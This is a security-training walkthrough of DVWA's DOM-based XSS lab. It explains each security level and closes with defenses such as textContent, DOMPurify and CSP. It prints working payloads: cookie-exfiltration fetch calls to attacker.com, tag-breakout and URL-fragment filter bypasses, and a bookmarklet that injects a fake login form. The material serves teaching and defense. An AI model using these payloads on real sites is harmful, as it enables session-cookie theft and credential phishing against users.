Skip to main content

Overview

DOM-based Cross-Site Scripting (XSS) is a type of XSS vulnerability where the attack payload is executed as a result of modifying the DOM environment in the victim’s browser. Unlike Reflected and Stored XSS, the malicious payload may never reach the server - the vulnerability exists entirely in the client-side JavaScript code. Key Characteristic: The vulnerability is in client-side JavaScript that processes user-controlled data (often from the URL) and writes it to the DOM without proper sanitization.

How DOM-based XSS Differs from Other XSS Types

FeatureDOM-based XSSReflected XSSStored XSS
Execution LocationClient-side onlyServer reflects to clientServer stores, retrieves, sends to client
Server ProcessingMay not reach serverProcessed by serverStored by server
Payload LocationURL (often fragment #)URL query parametersDatabase
Detection DifficultyHardest (client-side)ModerateEasier (in database)
WAF ProtectionLimited (bypass server)EffectiveEffective
Code Review TargetJavaScriptServer-side codeServer-side code
Attack VectorMalicious URL with fragmentMalicious URLDirect input to app
What Makes DOM XSS Unique:
  • The server response might be completely safe
  • The vulnerability is in how JavaScript handles the URL
  • URL fragments (#hash) never get sent to the server
  • Traditional server-side XSS filters won’t catch it
  • Requires JavaScript code review, not just server code

Vulnerability Objective

Goal: Run your own JavaScript in another user’s browser to steal the cookie of a logged-in user, leveraging client-side DOM manipulation.

Application Context

DVWA’s DOM XSS module implements a language selector that uses JavaScript to read from the URL and dynamically populate a dropdown menu. The Vulnerable JavaScript (xss_d/index.php:50-61):
<script>
    if (document.location.href.indexOf("default=") >= 0) {
        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
        document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
        document.write("<option value='' disabled='disabled'>----</option>");
    }
    
    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
</script>
```bash

**The Vulnerability**: 
- Line 52: Extracts everything after `default=` from the URL
- Line 53: Writes it directly into HTML using `document.write()`
- No sanitization or validation of the `lang` variable

## Security Level Analysis

### Low Security

The low security level has **no protection** at all - the server-side code is essentially empty.

**Server-side Code** (`xss_d/source/low.php`):
```php
<?php

# No protections, anything goes

?>
Vulnerability: The entire vulnerability is in the client-side JavaScript (shown above). The server does nothing to validate or sanitize input. Exploitation:
  1. Basic Alert:
   /vulnerabilities/xss_d/?default=English<script>alert(1)</script>
  1. Cookie Theft:
   /vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script>
  1. Cookie Exfiltration:
   /vulnerabilities/xss_d/?default=English<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
How It Works:
// URL: ?default=English<script>alert(1)</script>
// Extracted value:
var lang = "English<script>alert(1)</script>";

// Written to DOM:
document.write("<option value='English<script>alert(1)</script>'>" + 
               decodeURI("English<script>alert(1)</script>") + 
               "</option>");

// Browser renders and executes the <script> tag
```bash

---

### Medium Security

The medium level adds **server-side validation** to block `<script>` tags.

**Server-side Code** (`xss_d/source/medium.php:4-11`):
```php
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
Protection: If the URL parameter contains <script, the server redirects to a safe default. Vulnerability:
  1. The check is case-insensitive (stripos) but only checks for <script
  2. HTML event handlers are not blocked
  3. The client-side JavaScript still has the vulnerability
Bypass Techniques:
  1. Break Out of the Select Tag (Primary Method):
   ?default=English></option></select><img src=x onerror=alert(1)>
Explanation:
  • English</option></select> closes the current option and select tags
  • <img src=x onerror=alert(1)> injects a new image tag with JavaScript event
  • No <script tag, so bypasses server filter
  1. SVG with onload:
   ?default=English></option></select><svg/onload=alert(1)>
  1. Body Tag:
   ?default=English></option></select><body onload=alert(document.cookie)>
Generated HTML:
<select name="default">
    <option value='English</option></select><img src=x onerror=alert(1)>'>
        English</option></select><img src=x onerror=alert(1)>
    </option>
    <!-- Script executes here -->
</select>
```bash

---

### High Security

The high level implements a **whitelist approach** on the server side.

**Server-side Code** (`xss_d/source/high.php:4-18`):
```php
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
Protection: Only allows exact matches of four language names. Any other value triggers a redirect. Vulnerability: The protection only checks the query parameter (?default=), but URL fragments (#hash) are processed by JavaScript but never sent to the server. Bypass Using URL Fragment:
/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
How It Works:
  1. Server sees ?default=English (valid, allowed)
  2. Browser loads the page normally
  3. JavaScript reads full URL including fragment: English#<script>alert(1)</script>
  4. The document.location.href.indexOf("default=") still finds the parameter
  5. Extracts everything after default=, including the fragment
  6. Injects and executes the script
The JavaScript Flaw:
// document.location.href contains the fragment
var url = "http://dvwa.local/xss_d/?default=English#<script>alert(1)</script>";
var lang = url.substring(url.indexOf("default=")+8);
// lang = "English#<script>alert(1)</script>"
```text

**Alternative Payloads**:
```text
?default=English#<img src=x onerror=alert(1)>
?default=English#<svg/onload=alert(document.cookie)>
?default=English#<body onload=fetch('http://attacker.com/steal?c='+document.cookie)>

Impossible Security (Secure Implementation)

The impossible level fixes the vulnerability by removing decodeURI() and relying on browser auto-encoding. Server-side Code (xss_d/source/impossible.php):
<?php

# Don't need to do anything, protection handled on the client side

?>
Client-side Fix (xss_d/index.php:34-38):
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
    $decodeURI = "";
}
```javascript

This changes the JavaScript to:
```javascript
// BEFORE (vulnerable):
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

// AFTER (secure):
document.write("<option value='" + lang + "'>" + lang + "</option>");
Why This Works:
  • Modern browsers automatically encode special characters in URLs
  • < becomes %3C
  • > becomes %3E
  • Without decodeURI(), these stay encoded
  • %3Cscript%3E is rendered as text, not executed
Example:
// URL: ?default=English<script>alert(1)</script>
// Browser encodes to: ?default=English%3Cscript%3Ealert(1)%3C%2Fscript%3E

// JavaScript extracts:
var lang = "English%3Cscript%3Ealert(1)%3C%2Fscript%3E";

// Written to DOM (no decodeURI):
<option value='English%3Cscript%3Ealert(1)%3C%2Fscript%3E'>
    English%3Cscript%3Ealert(1)%3C%2Fscript%3E
</option>

// Displayed as plain text, not executed
```bash

---

## Attack Scenarios

### Scenario 1: Bypassing WAF with Fragment

Many Web Application Firewalls (WAFs) only inspect **server requests**, not client-side JavaScript.

**Attack Flow**:
  1. Attacker creates URL: http://dvwa.local/xss_d/?default=English#
  2. WAF inspects request to server: GET /xss_d/?default=English ✓ Passes WAF (English is valid)
  3. Browser receives clean response
  4. JavaScript executes:
    • Reads full URL (including #fragment)
    • Extracts and injects payload
    • Executes attacker’s script
  5. Cookie sent to attacker without server ever seeing the payload

### Scenario 2: Social Engineering with Shortened URLs

Attacker uses URL shortener to hide malicious payload:

Original: http://dvwa.local/xss_d/?default=English# Shortened: https://bit.ly/abc123 Phishing email: “Check out this language setting: https://bit.ly/abc123

Victim doesn't see the malicious fragment until it's too late.

### Scenario 3: Persistent Phishing via Bookmarklet

```javascript
// Attacker tricks user into bookmarking:
javascript:document.location='http://dvwa.local/xss_d/?default=English#<script>document.body.innerHTML="<h1>Session Expired</h1><form action=\'http://attacker.com/phish\' method=\'POST\'>Username: <input name=\'u\'><br>Password: <input name=\'p\' type=\'password\'><br><input type=\'submit\'></form>"</script>'
Every time the user clicks the bookmark, they see a fake login form.

Dangerous JavaScript Patterns

1. Unsafe DOM Manipulation

Vulnerable:
// Reading from URL
var input = document.location.href;
var param = new URLSearchParams(window.location.search).get('q');
var hash = document.location.hash;

// Writing to DOM
document.write(input);
element.innerHTML = param;
eval(hash);
```javascript

**Safe**:
```javascript
// Reading from URL (same)
var input = document.location.href;

// Safe writing to DOM
element.textContent = input;  // Auto-escapes
element.setAttribute('data-value', input);  // Safe for attributes

// Or sanitize first
var safe = DOMPurify.sanitize(input);
element.innerHTML = safe;

2. Dangerous Functions

These functions can execute code from strings:
eval(userInput);
setTimeout(userInput, 100);
setInterval(userInput, 100);
Function(userInput)();
new Function(userInput)();
```bash

### 3. Unsafe URL Parsing

**Vulnerable**:
```javascript
// Manual parsing
var lang = document.location.href.substring(
    document.location.href.indexOf("default=")+8
);
Safe:
// Use URL API
var params = new URLSearchParams(window.location.search);
var lang = params.get('default');

// Then validate
var allowedLangs = ['English', 'French', 'German', 'Spanish'];
if (allowedLangs.includes(lang)) {
    // Safe to use
}
```bash

---

## Proper Defenses

### 1. Use Safe DOM APIs

```javascript
// NEVER use these with user input:
document.write(userInput);        ❌
element.innerHTML = userInput;    ❌
eval(userInput);                  ❌

// ALWAYS use these instead:
element.textContent = userInput;  ✓
element.setAttribute('value', userInput);  ✓ (for attributes)

2. Sanitize User Input

// Use a library like DOMPurify
var clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
    ALLOWED_ATTR: []
});
element.innerHTML = clean;
```bash

### 3. Content Security Policy (CSP)

```html
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">
Blocks:
  • Inline scripts (including injected ones)
  • eval() and similar functions
  • Scripts from external domains

4. Avoid URL Fragments for Data

// BAD: Using hash for data
var data = window.location.hash.substr(1);

// GOOD: Use sessionStorage or POST data
sessionStorage.setItem('language', 'English');
var data = sessionStorage.getItem('language');
```bash

### 5. Whitelist Validation

```javascript
var lang = params.get('default');
var allowed = ['English', 'French', 'German', 'Spanish'];

if (!allowed.includes(lang)) {
    lang = 'English';  // Default
}

// Now safe to use
element.textContent = lang;

Testing for DOM XSS

Manual Testing Steps

  1. Identify Sources (where user input comes from):
    • document.location.*
    • window.location.*
    • document.URL
    • document.referrer
    • window.name
    • postMessage data
  2. Identify Sinks (dangerous functions):
    • document.write()
    • element.innerHTML
    • eval()
    • setTimeout() / setInterval() with strings
    • location.href = userInput
  3. Test Payloads:
   ?param=<img src=x onerror=alert(1)>
   ?param=javascript:alert(1)
   #<script>alert(1)</script>

Automated Testing

Use browser DevTools to trace data flow:
// Set breakpoint on dangerous functions
document.write = function(x) {
    console.trace('document.write called with:', x);
    // Original function here
};
```bash

---

## Code Reference

Source files: `vulnerabilities/xss_d/source/`
- Low: `low.php` (empty - vulnerability in JS)
- Medium: `medium.php:4-11` (blocks `<script`)
- High: `high.php:6-17` (whitelist validation)
- Impossible: `impossible.php` (removes `decodeURI()`)

Vulnerable JavaScript: `xss_d/index.php:50-61`
Impossible fix: `xss_d/index.php:34-38`

---

## Key Takeaways

1. **DOM XSS lives in client-side JavaScript**, not server code
2. **URL fragments (`#hash`) never reach the server** - perfect for bypassing WAFs
3. **Server-side filters are ineffective** against pure DOM XSS
4. **Avoid dangerous functions**: `document.write()`, `innerHTML`, `eval()`
5. **Use safe alternatives**: `textContent`, `setAttribute()`, proper encoding
6. **Don't decode unnecessarily**: `decodeURI()` can enable attacks
7. **Whitelist validation** is better than blacklist filtering
8. **CSP blocks inline scripts** - powerful defense layer
9. **Code review JavaScript** as carefully as server-side code
10. **Use modern APIs**: `URLSearchParams`, `DOMPurify`, safe DOM methods

## Related Vulnerabilities

- [Reflected XSS](/vulnerabilities/xss-reflected) - Server-side reflected XSS
- [Stored XSS](/vulnerabilities/xss-stored) - Persistent XSS in database
- [Content Security Policy (CSP)](/vulnerabilities/csp) - Defense mechanism

Build docs developers (and LLMs) love